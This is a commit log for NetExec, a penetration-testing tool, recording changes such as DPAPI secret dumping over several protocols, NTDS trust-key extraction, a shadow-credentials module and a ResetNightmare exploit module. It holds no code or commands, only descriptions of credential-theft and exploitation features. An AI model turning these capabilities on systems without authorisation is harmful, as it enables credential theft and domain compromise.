Compare commits

...
Author SHA1 Message Date
Alexander Neff df9c32276a Update lock files 2026-09-15 14:46:59 -04:00
Alexander Neff 47af3a022c Formatting 2026-09-15 14:46:29 -04:00
zblurx d542b20224 fix logging origin in dpapi related modules 2026-09-14 16:11:15 +02:00
Alex 81e53ecb9c Merge pull request #1419 from Pennyw0rth/neff-fixes
Add a bunch of small fixes
2026-09-14 00:26:58 +02:00
Alexander Neff 310979ab59 Merge branch 'main' into neff-fixes 2026-09-13 18:20:28 -04:00
mpgn 7bd77885b7 Merge pull request #1327 from Pennyw0rth/dpapi_upgrade
[dploot upgrade] Add --dpapi on WMI, WINRM and MSSQL protocols
2026-09-13 23:57:08 +02:00
mpgn aecf64dbc7 uv lock update 2026-09-13 23:55:34 +02:00
Alex d3c3ca9dea Merge pull request #1259 from Dfte/refactor_list_database
Refactor the --database argument to comply with security checks
2026-09-13 23:44:32 +02:00
Alexander Neff ee3dd5e0e6 Formatting 2026-09-13 17:35:47 -04:00
Alexander Neff 490d7397f2 Formatting 2026-09-13 17:33:16 -04:00
Alexander Neff f1078b6622 Use dploot pypi version 2026-09-12 12:36:36 -04:00
Alexander Neff e5b7a5f3b4 Merge branch 'main' into dpapi_upgrade 2026-09-12 09:40:34 -04:00
Alexander Neff 164f35dddd Catch Exception if software is not installed 2026-09-12 09:32:00 -04:00
Alexander Neff 4e2c0a60d4 Rename 'context' to 'connection' so it is in line with modules 2026-09-12 09:24:34 -04:00
Alexander Neff 9249bb3834 Fix remoteng execution 2026-09-12 09:21:14 -04:00
Alexander Neff 317840f6df Remove unused functions and imports 2026-09-12 09:12:05 -04:00
Alexander Neff 44cc9f1333 Ruff 2026-09-11 17:54:56 +02:00
Alexander Neff 333ec792f0 lock file hash 2026-09-11 17:36:36 +02:00
Alexander Neff a92275586e Fix crash if NTLM is unavailable 2026-09-11 17:36:10 +02:00
Alexander Neff 32469fea8b Fix bloodhound collection if signing and cbt is enforced 2026-09-11 17:35:39 +02:00
Alexander Neff 5823cdba20 Add ftp --cat command 2026-09-11 17:34:32 +02:00
Alexander Neff a7626dd2c4 Improve ftp host banner and session closing 2026-09-11 17:34:12 +02:00
Alexander Neff 6b5f557736 Remove useless share listing 2026-09-11 17:33:24 +02:00
Alexander Neff 40abafc41b Add some padding for user descriptions 2026-09-11 17:32:45 +02:00
Alexander Neff 6c29f3c6e4 Fix error handling of impacket/rpcrt 2026-09-11 17:32:26 +02:00
Alexander Neff c3122a9487 Add generic exception handler for ConnectionRefused 2026-09-11 17:29:41 +02:00
mpgn e6deadf5c7 Merge pull request #1413 from Natasha-B/fix-ldap-check
Fix false positives on ldap signing and cbt checks when NTLM is disabled
2026-09-11 11:58:39 +02:00
mpgn dde1482435 Fix conditional check for signing_required
Signed-off-by: mpgn <[email protected]>
2026-09-11 11:56:16 +02:00
Natasha-B ff987ee634 Fix false positives on ldap signing and cbt checks when NTLM is disabled 2026-09-10 17:30:58 +02:00
Alex c72f2ca98e Merge pull request #1390 from XiaoliChan/wmi-reuse-fix
[WMI] Reuse DCOM fix
2026-09-09 22:31:19 +02:00
Alexander Neff 402615522e Merge branch 'main' into wmi-reuse-fix 2026-09-09 16:22:22 -04:00
Alex 5d9ea3a0ad Merge pull request #1410 from Pennyw0rth/neff-fix-encoding
Change CRLF to LF of bitlocker file module
2026-09-09 22:19:21 +02:00
Alexander Neff c612a1347a Change CRLF to LF 2026-09-09 16:15:08 -04:00
mpgn 90efb2a9f3 Merge pull request #1321 from Goultarde/feature/trust-keys 2026-09-09 22:06:24 +02:00
Marshall Hallenbeck 444cea83c6 Merge pull request #1190 from Pennyw0rth/feat/smb-get-folder
add --get_folder functionality
2026-09-09 15:48:58 -04:00
mpgn 8073a798e0 update lock files 2026-09-09 21:19:39 +02:00
mpgn 6699b40757 Merge branch 'main' into feature/trust-keys 2026-09-09 21:10:00 +02:00
Goultarde 98d0549ae1 Respect history for TDO trust keys 2026-09-09 21:07:25 +02:00
mpgn 8230e9a2d3 fix from update of impacket 2026-09-09 20:54:05 +02:00
Alex ccef3a75b0 Merge pull request #1408 from r4vanan/main 2026-09-09 09:55:13 +02:00
r4vanan 4ae0dd723b Fix spelling mistakes across multiple files 2026-09-08 22:52:26 -04:00
Alex d640fb78b8 Merge pull request #1233 from x-way/fix-empty-dir-spider
Fix handling of empty SMB share folder
2026-09-06 22:19:34 +02:00
Alex e969f23757 Merge pull request #1403 from Pennyw0rth/neff-add-clean
Shadow Creds Clear command
2026-09-06 21:53:01 +02:00
Alexander Neff f1e6b38574 Add clear command to shadow-creds module 2026-09-06 15:05:07 -04:00
Alexander Neff c98846379f Provide information about excluded hosts more verbosly 2026-09-06 13:41:37 -04:00
Alexander Neff 766c221f10 Trim down on info logs so we can see only valid hosts 2026-09-06 13:39:50 -04:00
Alex 7f5f869de0 Merge pull request #1204 from Dfte/add_exclude_options 2026-09-06 15:56:57 +02:00
XiaoliChan eee763caad bitlocker module: reuse the wmi protocol connection instead of a second DCOMConnection
Same pattern as the rdp module fix: BitLockerWMI creates its own
DCOMConnection to the same target the wmi protocol already holds one
for, and disconnecting it removes the shared INTERFACE.CONNECTIONS
thread entry, so the protocol-level disconnect afterwards raises
KeyError on impacket versions that do not guard it. Reuse the
protocol's IWbemLevel1Login instead - over smb nothing changes.
2026-09-05 19:56:39 +08:00
XiaoliChan 26e2007d77 rdp module: reuse the wmi protocol connection instead of a second DCOMConnection
When running over the wmi protocol the module now reuses the protocol's
authenticated IWbemLevel1Login instead of creating its own
DCOMConnection to the same target - whose disconnect would clash with
the protocol's own on impacket versions that do not guard the
INTERFACE.CONNECTIONS thread entry (KeyError: ThreadPoolExecutor-x_x).
Over smb nothing changes: the module still creates its own
DCOMConnection since the protocol has none.
2026-09-05 19:56:39 +08:00
zblurx 2fc046558c Merge branch 'main' into dpapi_upgrade 2026-09-03 16:35:46 +02:00
Andreas Jaggi 28e1ad17b4 Fix handling of empty SMB share folder 2026-09-02 15:56:10 +00:00
Alex ee0e488d43 Merge pull request #1368 from Pennyw0rth/neff-add-shadow-creds 2026-09-02 15:56:51 +02:00
Alexander Neff 5800ec5fbb Add prompt if exclusion exists but target is hostname 2026-09-01 14:56:32 -04:00
Alexander Neff 883921d2c8 Ensure that excluded hosts are valid IPs 2026-09-01 14:36:46 -04:00
Alexander Neff 2fbbd244a4 Add netifaces to lock files 2026-09-01 14:28:31 -04:00
Alexander Neff ac84b7dd94 Formatting 2026-09-01 14:27:50 -04:00
Alexander Neff 336738bd58 Move target parsing to helper functions 2026-09-01 14:26:18 -04:00
Alexander Neff c0536ccd72 Add comment back 2026-09-01 14:18:32 -04:00
Alexander Neff fc30724918 Add IPv6 self exclusion 2026-09-01 14:17:55 -04:00
Alexander Neff a7e55ffbf4 Formatting 2026-09-01 14:17:25 -04:00
Alexander Neff 6dc9e9d505 Make IP exclusion list additive instead of overwriting itself 2026-09-01 14:17:09 -04:00
Alexander Neff 5f53ae99fd Formatting 2026-09-01 13:28:05 -04:00
mpgn 978270ad00 Add default value to --trust-keys argument
Set default value for --trust-keys argument to True.

Signed-off-by: mpgn <[email protected]>
2026-08-31 21:49:41 +02:00
mpgn 9e94f58081 simplify the logic and fix regression
Signed-off-by: mpgn <[email protected]>
2026-08-31 21:45:18 +02:00
Deft_ db807bb938 Merge branch 'main' into add_exclude_options
Signed-off-by: Deft_ <[email protected]>
2026-08-31 17:19:36 +02:00
Aurélien CHALOT cb351cf890 Add support for IPv6 2026-08-31 17:02:52 +02:00
Aurélien CHALOT 9817aadfbb Add --exclude-hosts and --skip-self overwriting nxc.conf file 2026-08-31 16:57:28 +02:00
zblurx 4bf5abdcdc ruff 2026-08-31 12:39:54 +02:00
zblurx 961f4e5028 enhance use of credentials in db 2026-08-31 11:52:05 +02:00
zblurx 6ee4802743 fix dploot_connection upgrade debug log message 2026-08-31 11:09:07 +02:00
zblurx 42fe6b4840 remove print 2026-08-31 10:51:40 +02:00
zblurx 7308add93f Merge branch 'dpapi_upgrade' of github.com:Pennyw0rth/NetExec into dpapi_upgrade 2026-08-31 10:41:38 +02:00
zblurx a9b8cf8e0a add highlight in log_secret and set output_file in init 2026-08-31 10:40:21 +02:00
Alexander Neff ff3d4937b4 Merge branch 'main' into dpapi_upgrade 2026-08-30 11:58:09 -04:00
Alex 2bdc7e5e52 Merge pull request #1362 from amikuss/fix/ldap-groups-memberof-fallback 2026-08-30 03:19:00 +02:00
zblurx b114c644c5 showing machine keys if collected 2026-08-28 11:36:03 +02:00
zblurx 0d2af8bdd5 added display message when dump LSA 2026-08-28 11:28:45 +02:00
Marshall Hallenbeck fd9ebe9057 Merge pull request #1376 from Pennyw0rth/fix/vnc-connection-timeout
fix(vnc): bound the connection so an unresponsive server cannot hang the scan
2026-08-25 13:48:53 -04:00
Alex fc970ca7df Merge pull request #1378 from Pennyw0rth/neff-fix-dploot-version
Restrict dploot to v3
2026-08-25 19:32:04 +02:00
Alexander Neff 6f7e0a81bc Restrict dploot to v3 2026-08-25 13:12:56 -04:00
Alex e9c2c66a9b Merge pull request #1377 from Pennyw0rth/neff-add-nfs-cat
Add --cat argument for NFS
2026-08-25 18:16:38 +02:00
Alexander Neff c013e02e81 Add --cat argument for nfs 2026-08-25 12:08:36 -04:00
Marshall Hallenbeck a5fe3ba13f fix(vnc): bound the connection so an unresponsive server cannot hang the scan
A VNC server that completes the TCP connect and then stops responding during the
RFB handshake left `await self.conn.connect()` outstanding forever, with no
output and no error. On one engagement a single host held a run for the full
hour its external timeout allowed, and nothing was scanned in that time.

The target timeout alone does not cover this: the connect succeeds, so the hang
is in the handshake that follows. RDP already bounds the equivalent call with
`asyncio.wait_for` and exposes `--rdp-timeout`; VNC now does the same through
`--vnc-timeout`, which is also passed to RDPTarget.

A timeout is reported as a timeout rather than as a rejected password, because
nothing was authenticated. It is caught as `asyncio.TimeoutError`, which is only
an alias of the builtin from Python 3.11 and this project supports 3.10.

Claude-Session: https://claude.ai/code/session_01BrqBUZro8vxfBMGniTyfDV
2026-08-25 08:00:18 -04:00
zblurx 0de1fc8cd5 change function name to log_secret to make it clearer 2026-08-25 12:08:38 +02:00
zblurx 92e61efe14 Fix the open file to append instead of overwrite 2026-08-25 11:55:19 +02:00
zblurx 01536dc628 ruff 2026-08-25 11:51:40 +02:00
zblurx 8e4fc22290 move it closer to dpapi stuff, easier to read 2026-08-25 11:50:42 +02:00
zblurx 1d06afcc84 only rely on kdcHost for backupkey recovery 2026-08-25 11:47:50 +02:00
zblurx c5ab84af01 added lsa quiet mode 2026-08-25 11:37:40 +02:00
zblurx cb7d22ccbc modify output_file and counter management 2026-08-25 11:22:46 +02:00
zblurx 473e33352e update args pvk 2026-08-25 10:02:25 +02:00
Alexander Neff 4a2c8d433d Make output logic clear and add dn fallback 2026-08-24 17:16:56 -04:00
Alexander Neff b7ba0f929e Adjust query such that we don't query all objects and don't fail on external references 2026-08-24 17:16:18 -04:00
Alex 8a7edb5636 Merge branch 'main' into fix/ldap-groups-memberof-fallback 2026-08-24 21:40:51 +02:00
Alex 09342c190d Merge pull request #1375 from Pennyw0rth/neff-add-agents.md
Add AGENTS.md file for guiding LLM agents
2026-08-24 10:00:23 +02:00
Alexander Neff 2c44f785ec Name full path 2026-08-24 08:03:48 +02:00
Alexander Neff 35bf9d183e Fix linting 2026-08-23 09:44:49 -04:00
Alexander Neff b5da832c31 Add legacy path for mremoteng conf files 2026-08-23 09:42:51 -04:00
Alexander Neff d4ee81fa3f Update lock file 2026-08-23 08:36:12 -04:00
Alexander Neff 79e14ea61e Update lock file 2026-08-23 08:35:43 -04:00
Alexander Neff 31428e9674 Merge branch 'main' into dpapi_upgrade 2026-08-23 08:34:40 -04:00
Alexander Neff 8fbadf4d0f Remove unused import 2026-08-23 07:30:42 -04:00
Alexander Neff 60aab5c60d Don't manually exit, but return False for invalid module options 2026-08-23 07:28:30 -04:00
Alexander Neff ccfaf5852c Remove overrestrictive instruction 2026-08-23 07:23:32 -04:00
Alex dfcbdb9fff Merge branch 'main' into neff-add-shadow-creds 2026-08-23 13:08:41 +02:00
Alexander Neff 676361ae8c Add AGENTS.md file for guiding agents 2026-08-23 07:07:25 -04:00
Alex 7751cb8f1f Merge pull request #1346 from azoxlpf/fix/module-options-validation
Allow modules to abort the run by returning False from options()
2026-08-23 11:42:17 +02:00
amikuss 40c4c124b3 refactor(ldap): split all-groups/specific-group search logic 2026-08-20 09:52:08 +02:00
Alexander Neff e0a3f1a1db Restrict exception handling to LDAPSessionError caused by unsifficient privs 2026-08-20 09:51:01 +02:00
Alexander Neff a5b525037a Fix string comparison on DeviceID 2026-08-20 09:43:41 +02:00
Marshall Hallenbeck 73b4dba6d2 Merge branch 'main' into feat/smb-get-folder 2026-08-19 17:49:07 -04:00
Alexander Neff 1b30d2ed01 Allow non-computer accounts 2026-08-16 17:52:13 -04:00
Alexander Neff 32e6d5a8b7 Display Device ID first 2026-08-16 17:47:48 -04:00
Alexander Neff 8943e65a9e Improve info output 2026-08-16 17:47:37 -04:00
Alexander Neff 33080a917c Just export raw ldap value to bypass dsinternals issues 2026-08-16 17:43:06 -04:00
Alexander Neff fb8b3e41c7 Add more tests and adjust encoding 2026-08-16 17:21:00 -04:00
Alexander Neff 96ce28cc4a Add backup and revert functions 2026-08-16 17:14:06 -04:00
Alexander Neff 18f0e5ffc5 Add stub e2e tests 2026-08-16 16:30:16 -04:00
Alexander Neff 3114333d27 First draft of shadow-creds 2026-08-16 16:30:09 -04:00
Alex ca426d081a Merge pull request #1367 from Pennyw0rth/neff-fix-open-calls
Use context manager for file operations
2026-08-16 16:46:03 +02:00
azoxlpf 1b1e9c5d6a signal module options() abort via exception instead of None 2026-08-16 16:45:28 +02:00
Alex dc2c3b4f87 Merge branch 'main' into neff-fix-open-calls 2026-08-16 16:44:18 +02:00
Alex 05f1411ea2 Merge pull request #1359 from Pennyw0rth/neff-py3.14
Prepare Python 3.14 compatability
2026-08-16 16:29:37 +02:00
Alexander Neff 09bfaaf36f Use context manager for file operations 2026-08-16 09:44:05 -04:00
Alexander Neff 2460151e66 Update ruff 2026-08-16 09:25:18 -04:00
Alexander Neff a60a86ced5 Fix linting 2026-08-16 09:25:09 -04:00
Alexander Neff f212317986 Update lock file 2026-08-16 09:20:08 -04:00
Alexander Neff 3f317d989b Fix linting 2026-08-16 09:15:21 -04:00
Alexander Neff e743cd0496 Fix file handle stuff 2026-08-16 08:06:13 -04:00
Alexander Neff e6ad90b79c Exclude rule that forces rule names instead of codes 2026-08-16 08:02:57 -04:00
Alex 698abd40df Merge pull request #1365 from Macbucheron1/fix/bloodhound-target-domain
fix: use target domain for bloodhound collection
2026-08-16 12:35:33 +02:00
Mac 38a5f36c0b fix: use target domain for bloodhound collection 2026-08-15 12:56:41 +02:00
amikuss 7d742355f5 fix(ldap): resolve group members via 'member' fallback for missing 'memberOf' backlinks 2026-08-13 10:40:25 +02:00
zblurx daed14661a update docstrings in dpapi.py helper 2026-08-12 13:49:32 +02:00
Alexander Neff 85e6e625b1 Update lock file 2026-08-11 16:19:23 -04:00
Alexander Neff 8429767dd4 Update github cli to py3.14 2026-08-11 16:16:32 -04:00
Marshall Hallenbeck af9bb8753c Merge pull request #1357 from Pennyw0rth/fix/e2e-commands-stale-modules
fix(tests): remove nonexistent safe_shares and fix mssql_dumper module name in e2e tests
2026-08-11 09:56:24 -04:00
Marshall Hallenbeck 414b8c8dd2 fix(tests): remove nonexistent safe_shares and fix mssql-dumper module name in e2e tests
- Remove safe_shares module tests (lines 155-157) — this module never
  existed in the codebase, causing 3 guaranteed failures
- Rename mssql-dumper to mssql_dumper (lines 300-302) — the module
  uses an underscore, not a hyphen
2026-08-11 09:23:35 -04:00
Alex 46dd7d5559 Merge pull request #734 from termanix/patch-1
New LDAP Flag Listing OUs
2026-08-11 05:29:28 +02:00
Alexander Neff 43ada51519 Formating 2026-08-10 23:26:28 -04:00
Alexander Neff 03bbb03aba Formating 2026-08-10 23:23:27 -04:00
Alexander Neff b69f2b39af Improve help text 2026-08-10 23:20:58 -04:00
Alexander Neff 205eb8c334 Formating 2026-08-10 23:20:33 -04:00
Alexander Neff 1dacb3b95d Provide header for user listing 2026-08-10 23:20:19 -04:00
Alexander Neff 752fa37062 Linting 2026-08-10 15:49:30 -04:00
Alex b37a328514 Merge branch 'main' into patch-1 2026-08-10 21:33:30 +02:00
mpgn c005376d70 Merge pull request #1345 from Pennyw0rth/remove-oscrypto-dependency 2026-08-08 11:49:07 +02:00
mpgn fb722fc351 fix review code 2026-08-07 19:19:55 +02:00
mpgn ba239aaa5f Merge pull request #1352 from azoxlpf/feat/add-resetnightmare-module
Add ResetNightmare module
2026-08-07 19:05:57 +02:00
azoxlpf 417c051c0d add to e2e_commands.txt 2026-08-07 18:51:41 +02:00
azoxlpf 0f8a9abcca add Errors 2026-08-07 18:44:49 +02:00
mpgn a9eeafd20e Merge pull request #1350 from azoxlpf/feat/add-ResetNightmare-to-enum_cve
Add ResetNightmare to enum_cve
2026-08-07 17:23:41 +02:00
mpgn 106448304f Merge pull request #1351 from Pennyw0rth/fixntlm
Fix check isdc is not ntlm
2026-08-07 09:47:25 +02:00
azoxlpf 52d0196492 Add ResetNightmare module 2026-08-06 22:21:35 +02:00
mpgn 23e412b1ff fix check isdc if no ntlm 2026-08-06 21:13:58 +02:00
mpgn 45fb4e9b0c fix check isdc if no ntlm 2026-08-06 20:54:41 +02:00
mpgn 57fe370cf9 fix check isdc if no ntlm 2026-08-06 20:53:32 +02:00
mpgn 9486274f96 fix check isdc if no ntlm 2026-08-06 20:29:18 +02:00
azoxlpf 24c480657a Add ResetNightmare to enum_cve 2026-08-06 19:57:04 +02:00
Marshall Hallenbeck 4c3e407b30 fix: remove unused _StoreAction import (#1190)
Refs #1190
2026-08-05 17:56:13 -04:00
Marshall Hallenbeck 482c26631d fix: resolve merge conflicts with main (#1190)
Merge upstream import changes in smb.py and proto_args.py while
preserving --get-folder feature additions.

Refs #1190
2026-08-05 15:28:01 -04:00
azoxlpf cfee504986 allow modules to abort the run by returning False from options() 2026-08-04 18:12:24 +02:00
mpgn 00811f26cc removing oscrypto 2026-08-02 23:14:45 +02:00
mpgn 9d43cf71ea Merge pull request #1344 from Pennyw0rth/fix-uv-lock-impacket-source
Sync uv lock with fortra
2026-08-02 23:00:11 +02:00
mpgn 80c22d4611 update uv lock 2026-08-02 22:39:39 +02:00
zblurx 395bad514d using function returned values instead of counter 2026-08-02 22:34:48 +02:00
zblurx a34140e7c1 ruff 2026-08-02 22:29:40 +02:00
zblurx 2f11e2f41e few changes related to reviews 2026-08-02 22:22:25 +02:00
Alex 1ae944ff07 Merge pull request #654 from crosscutsaw/rclone
new module: smb > rclone
2026-08-02 15:56:28 +02:00
Alexander Neff 100f3a1428 Fix dpapi key output in lsa 2026-08-01 17:40:49 -04:00
Alexander Neff 7a8b85406a Merge main 2026-08-01 16:29:44 -04:00
Alex 61bfc61bb8 Merge pull request #1337 from Mauriceter/fix_gpppriv
fix ldap resolution failure in GPP_Privileges module
2026-08-01 22:22:17 +02:00
Alexander Neff 5f109a4bcd Functionalize basedn query 2026-08-01 16:20:30 -04:00
Alex 738b842ab4 Merge pull request #1343 from Pennyw0rth/neff-add-documentation 2026-07-31 17:34:04 +02:00
Alex a093f3a33a Fixing an ancient typo 2026-07-31 17:22:11 +02:00
mpgn a3dca37946 Merge pull request #1317 from Pennyw0rth/isdc
Refactor isdc to show if server is dc or not
2026-07-31 17:17:56 +02:00
Alexander Neff 506ebd75ef Add documentation for bloodhound collector 2026-07-31 11:09:41 -04:00
Alex 8baa6a6071 Merge pull request #1342 from XedSama/fix-netbios-timeout-ws2025
Increasing dynamically SMB timeout against WS2025 NTLM rate-limiting
2026-07-31 17:06:46 +02:00
Alexander Neff 50f5f07aca Added some documentation/explanation 2026-07-31 11:02:52 -04:00
XedSama 4fe5ae661f Update smb.py 2026-07-31 16:26:04 +02:00
XedSama 40d30de6e6 Merge branch 'fix-netbios-timeout-ws2025' of github.com:XedSama/NetExec into fix-netbios-timeout-ws2025 2026-07-31 15:42:39 +02:00
XedSama b6d6b2d3cb Update smb.py 2026-07-31 15:42:01 +02:00
Xed 6e6534de29 Merge branch 'main' into fix-netbios-timeout-ws2025 2026-07-31 15:25:12 +02:00
XedSama 2edf87d8c0 Update smb.py 2026-07-31 14:56:45 +02:00
XedSama 1c6e3247fa Improvement with contextlib 2026-07-31 14:34:52 +02:00
XedSama 74811feaba Update smb.py 2026-07-31 14:22:53 +02:00
mpgn d24af22385 Merge pull request #1244 from Pennyw0rth/mpgn-patch-1
Add new option to toml file to exclude package is old enough
2026-07-31 09:44:18 +02:00
Alexander Neff 288a3340d3 Update lock file 2026-07-30 16:51:44 -04:00
mpgn 577ded5ad8 fix from review 2026-07-30 22:37:13 +02:00
Alex 45035f281e Merge pull request #1333 from Char0n1507/fix/issue-1320-ssh-race-condition
fix: db_execute lock scope to prevent thread-safety race (#1320)
2026-07-30 20:46:11 +02:00
Joachim De Bats 4235593af5 fix ldap resolution failure 2026-07-29 09:18:47 +02:00
Marshall Hallenbeck dee28e3473 Merge pull request #1132 from Pennyw0rth/fix/moduleloader-isolated-namespaces
fix(moduleloader): isolate module namespaces and cache loaded modules
2026-07-28 20:15:39 -04:00
Marshall Hallenbeck 2b0edf3bd5 Merge pull request #1335 from Dfte/proto_back
Allow using proto to switch protocole without calling back
2026-07-28 15:17:40 -04:00
Marshall Hallenbeck c3e67e42fe Merge branch 'main' into fix/moduleloader-isolated-namespaces 2026-07-28 15:11:34 -04:00
Marshall Hallenbeck 476228c386 test(e2e): cover printnightmare in e2e_commands
printnightmare was absent from the e2e command list entirely, including the
combined multi-module line. It defines its own impacket NDRCALL requests,
which makes it the module most sensitive to how the loader registers modules
in sys.modules — and the gap meant a loader regression that broke it ran
clean through the whole suite.

Add it standalone and to the multi-module line, so both single-module and
multi-module loading paths exercise it.
2026-07-28 15:08:13 -04:00
Marshall Hallenbeck d40b810aed fix(moduleloader): register loaded modules in sys.modules
module_from_spec() + exec_module() does not add the module to sys.modules,
which the load_module() call it replaced did implicitly. Modules that define
their own impacket NDRCALL requests depend on impacket resolving the matching
Response class through sys.modules[request.__module__] (dcerpc/v5/rpcrt.py),
so printnightmare aborted every run with:

    ModuleNotFoundError: No module named 'nxc_module_printnightmare'

Register the module under its unique name before executing it. This restores
the lookup impacket needs while keeping each module in its own namespace, as
the unique name is still distinct per module file.
2026-07-28 15:08:04 -04:00
Aurélien CHALOT eb3a51c86a liting 2026-07-28 20:23:25 +02:00
Aurélien CHALOT 3ef2a121c5 Allow using proto to switch protocole without calling back 2026-07-28 19:24:42 +02:00
mpgn 27d30e48a0 add isdc as option 2026-07-28 15:27:25 +02:00
bb d592eb153c fix: db_execute lock scope to prevent thread-safety race (#1320) 2026-07-28 09:19:13 -04:00
zblurx f210749bcb Merge branch 'main' into dpapi_upgrade
Signed-off-by: zblurx <[email protected]>
2026-07-28 10:07:57 +02:00
Alexander Neff 67ec4e14ed Fix check for login functions 2026-07-27 10:47:10 -04:00
Alex c35233c4db Merge pull request #1318 from Goultarde/fix/sccm-dpapi-kdchost
fix(smb/sccm): pass kdcHost/dc_ip to dploot Target so --sccm wmi doesn't hang over Kerberos
2026-07-27 16:17:54 +02:00
Goultarde 7895b1898e Also pass dc_ip to dploot Target in dpapi() 2026-07-26 17:46:39 +02:00
Goultarde 59778f5b70 Use self.targetDomain for trust key salt derivation 2026-07-26 17:32:06 +02:00
Alex 80317f12ea Merge pull request #1328 from XedSama/update-enum-cve
Update enum_cve.py
2026-07-26 14:04:58 +02:00
Alexander Neff c6972c1434 Move deobfuscation functions into the module 2026-07-26 06:21:42 -04:00
Alexander Neff 9f069f57b5 Add module category 2026-07-26 06:00:30 -04:00
Alexander Neff b5a1141755 Formatting 2026-07-26 05:59:48 -04:00
Alex a18aaa2708 Merge branch 'main' into rclone 2026-07-26 11:58:21 +02:00
XedSama 6c6970ef4d Update enum_cve.py 2026-07-25 12:16:24 +02:00
Marshall Hallenbeck 40f1e2b616 Merge branch 'main' into fix/moduleloader-isolated-namespaces 2026-07-23 22:07:16 -04:00
zblurx 4a235a45b6 remove unused mark 2026-07-22 21:01:58 +02:00
zblurx 2d04789b10 update pvk file reading 2026-07-22 20:54:30 +02:00
zblurx f2cbdc4372 update e2e_commands.txt 2026-07-22 20:44:39 +02:00
zblurx 6b509c402a update pyproject.toml 2026-07-22 20:14:26 +02:00
zblurx fe758a6270 ruff check 2026-07-22 20:11:07 +02:00
zblurx f0047bc321 fix dploot related modules 2026-07-22 20:00:05 +02:00
zblurx f476bf2313 fix mssql dabatase for backupkey 2026-07-22 18:14:12 +02:00
zblurx 2d35724a6e add dpapi for mssql 2026-07-22 17:53:00 +02:00
zblurx 88d0c7bb3f dpapi refacto 2026-07-22 17:25:46 +02:00
zblurx 7ccf5aaddb add dpapi for winrm 2026-07-22 12:48:46 +02:00
zblurx e60d8f1b34 add dpapi for wmi proto 2026-07-22 12:04:46 +02:00
zblurx db422c71b2 update smb proto 2026-07-22 12:04:30 +02:00
Alex cd599504ad Merge pull request #1311 from Functionhx/fix/netexec-1273-export-keys
fix: add get_keys fallback to prevent export keys crash
2026-07-21 19:32:43 +02:00
mpgn b2a9c7484f Merge pull request #1313 from Pennyw0rth/ldaptiemout
Add ldap timeout option to ldap protocol
2026-07-21 19:30:17 +02:00
Alexander Neff 1256a81215 Linting 2026-07-21 13:20:23 -04:00
Alexander Neff b8f431c756 Merge branch 'ldaptiemout' of https://github.com/Pennyw0rth/NetExec into ldaptiemout 2026-07-21 13:13:05 -04:00
Alexander Neff ae57a98ec9 Exclude timeout errors by impacket from error messages 2026-07-21 13:13:00 -04:00
mpgn 6139fe5edc Update proto_args.py
Signed-off-by: mpgn <[email protected]>
2026-07-21 19:01:10 +02:00
mpgn 44ff3da079 Merge pull request #1282 from T1erno/fix-backup_operator
Fix for backup_operator module
2026-07-18 21:18:04 +02:00
mpgn fa07f0a702 Merge branch 'main' into fix-backup_operator 2026-07-18 21:11:56 +02:00
mpgn e79cf35845 refactor a little bit 2026-07-18 21:11:10 +02:00
Goultarde 77f6ab4f85 Add e2e tests and update --enabled help text for trust keys 2026-07-18 20:04:25 +02:00
mpgn 357d5b3873 Merge branch 'main' into mpgn-patch-1 2026-07-18 18:44:58 +02:00
Goultarde 9860c5fded Fix trust key lines disappearing with --enabled
Trust key lines never contain "Enabled"/"Disabled" (they have no account
status), so the --enabled filter silently dropped them entirely. Detect
trust key lines and always show them regardless of --enabled.
2026-07-18 15:25:52 +02:00
Goultarde d96e92d867 Fix trust-keys dump summary messages
--just-trust-keys reused the regular NTDS dump summary ("NTDS hashes",
"added to the database", grep-disabled hint), which is meaningless
when only trust keys are dumped (no accounts are enumerated). Show a
summary specific to that mode instead.
2026-07-18 13:48:52 +02:00
Goultarde dc7e0e432d Add --just-trust-keys to smb ntds dump
Like --trust-keys but skips account enumeration entirely (implied --just-dc
behavior in impacket), emitting only the trust keys. Useful when only the
inter-realm keys are needed, for a faster and quieter dump.
2026-07-18 13:33:11 +02:00
Goultarde dd72a956e6 Add --trust-keys to smb ntds dump
Expose impacket secretsdump's trust key extraction (fortra/impacket#2207)
through NetExec's --ntds: dumps Trusted Domain Object secrets and derives
inter-realm Kerberos (AES256, AES128) and RC4 keys for each trust direction.

Also fixes the account-line status stripping in add_hash(), which blindly
dropped the last space-separated word of every secret line (meant to strip
the trailing "Enabled"/"Disabled" on account lines) and was truncating the
trust key lines, which contain spaces but no status suffix.
2026-07-18 13:00:34 +02:00
Goultarde b62e0e2a22 fix(smb/sccm): pass kdcHost/dc_ip to dploot Target so --sccm wmi doesn't hang over Kerberos 2026-07-16 23:05:42 +02:00
mpgn ec54abe827 refactor isdc 2026-07-16 22:35:14 +02:00
mpgn d78faffb6f Merge branch 'main' into ldaptiemout 2026-07-16 21:01:24 +02:00
mpgn 4eac71fa70 add except 2026-07-16 13:28:07 +02:00
Alex ff198407f8 Merge pull request #1314 from Pennyw0rth/neff-fix-mssql-rid-brute 2026-07-15 23:18:14 +02:00
Alexander Neff 1438edbe8c Update certipy due to bugs in current github main branch 2026-07-15 16:57:59 -04:00
mpgn 30fb8691d0 Update ruff dependency to latest version
Signed-off-by: mpgn <[email protected]>
2026-07-15 21:33:49 +02:00
mpgn 1c091a62a8 Refactor dev dependencies in pyproject.toml
Removed specific dependencies from the dev group in pyproject.toml and added a comment about the uv and poetry native dev group.

Signed-off-by: mpgn <[email protected]>
2026-07-15 21:31:01 +02:00
Alexander Neff c7a44ade4a Fix rid bruteforce in MSSQL 2026-07-15 14:17:00 -04:00
mpgn 567f4629cd Merge branch 'main' into ldaptiemout 2026-07-15 17:17:49 +02:00
mpgn b4f5b4182d add lock 2026-07-15 16:10:57 +02:00
mpgn 502df2f2ac fix ruff version 2026-07-15 16:10:57 +02:00
mpgn 1abed07bca Merge branch 'main' into mpgn-patch-1
Signed-off-by: mpgn <[email protected]>
2026-07-15 16:08:01 +02:00
mpgn d77c79bcc5 fix ruff version 2026-07-15 16:06:30 +02:00
mpgn fd6b32e386 Delete poetry.toml
Signed-off-by: mpgn <[email protected]>
2026-07-15 15:48:53 +02:00
mpgn 8a459a3647 add ldap timeout
Add a --ldap-timeout option (default 10s) and pass it through to
impacket's LDAPConnection, which now supports a native connection
timeout (fortra/impacket#2217). Also deprecate the generic --timeout
flag and bump the pinned impacket to the commit that ships the timeout
parameter.
2026-07-15 15:32:45 +02:00
Functionhx 7e74daf9dd test: add do_export end-to-end regression test for keys empty guard
Codex R2 found the existing three tests never call DatabaseNavigator.do_export,
so removing the empty-key guard would leave all tests passing while restoring
false success and file truncation. Add a test that constructs a
